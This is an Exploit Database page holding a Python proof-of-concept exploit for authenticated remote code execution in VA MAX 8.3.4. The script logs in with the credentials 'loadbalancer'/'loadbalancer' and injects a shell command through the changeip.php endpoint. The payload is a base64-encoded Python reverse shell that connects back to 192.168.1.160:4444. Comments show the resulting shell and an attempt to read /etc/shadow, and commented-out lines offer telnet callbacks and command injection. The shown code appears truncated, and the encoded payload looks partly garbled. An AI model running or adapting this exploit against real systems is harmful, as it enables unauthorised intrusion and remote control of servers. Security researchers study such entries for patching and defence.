

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

VA MAX 8.3.4 - (Authenticated) Remote Code Execution

EDB-ID:

46348

CVE:

N/A

EDB Verified: ✘

Author:

[CODY SIXTEEN](#)

Type:

[WEBAPPS](#)

Exploit: /



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```

root@nippur:/home/c/src/nippur# cat vamax3.py
#!/usr/bin/env python
# quick poc for postauth rce bug in va max 8.3.4
#
# more:
# https://code610.blogspot.com
#
# 10.02.2019
#
# p.s.
#
# listening on [any] 4444 ...
# 192.168.1.126: inverse host lookup failed: Unknown host
# connect to [192.168.1.160] from (UNKNOWN) [192.168.1.126] 58894
# sh: no job control in this shell
# sh-4.1$ id
# id
# uid=48(apache) gid=48(apache) groups=48(apache),10(wheel),18(dialout)
# sh-4.1$ cat /etc/shadow
# cat /etc/shadow
# cat: /etc/shadow: Permission denied
# sh-4.1$

```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```

# 0/

import datetime, time
import requests
from requests.auth import HTTPBasicAuth

# defines
dateTime = datetime.datetime.now()
timestamp = int(time.mktime(dateTime.timetuple()))

remote_host = 'http://192.168.1.126:9080'
our_user = 'loadbalancer'
our_passwd = 'loadbalancer'

# go
sess = requests.session()
logme = sess.post(remote_host, auth=HTTPBasicAuth(our_user, our_passwd))
logmeresp = logme.text

print '\n\tsmall poc for VA MAX 8.3.4\n'

# try to log in

```

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

```

if '<title>Load Balancer Administration System' in logmeresp:
    print '[+] using credentials: %s : %s' % ( our_user, our_passwd )
    print '[+] our timestamp: %s' % ( timestamp )

    print '[+] proceed.'

    getme = remote_host + '/lbadmin/config/changeip.php?action=modip&l=e&t='
+ str(timestamp)
    dogetme = sess.get(getme, auth=HTTPBasicAuth(our_user, our_passwd))
    getmeresp = dogetme.text

    payload = "h4x;echo
cHl0aG9uIC1jICdpcXBvcnQgc29ja2V0LHN1YnByb2Nlc3MsbnM7cz1zb2NrZXQuc29ja2V0KHNvY
TkVULHNvY2tldC5TT0NLX1NUUkVBTsk7cy5jb25uZWNoKCgiMTkyLjE2OC4xLjE2MCI sNDQ0NCkpO
MuZHVwMihzLmZpbGVubygpLDEp0yBvcy5kdXAyKHMuzmZlZW5vKCsMik7cD1zdWJwcm9jZXNzLmN
| base64 -d | sh;#"

#payload = "h4x;telnet 192.168.1.160 4444;#"
#payload = ';id>/tmp/id.id.id'
# print '[i] using payload:', payload

data_req = {
    'eth0' : '192.168.1.126/24',
    'mtu_eth0' : '1500',
    'payload' : '#>'
}

```



Cookiebot by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details >

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES

OffSec Services Limited 2026. All rights reserved.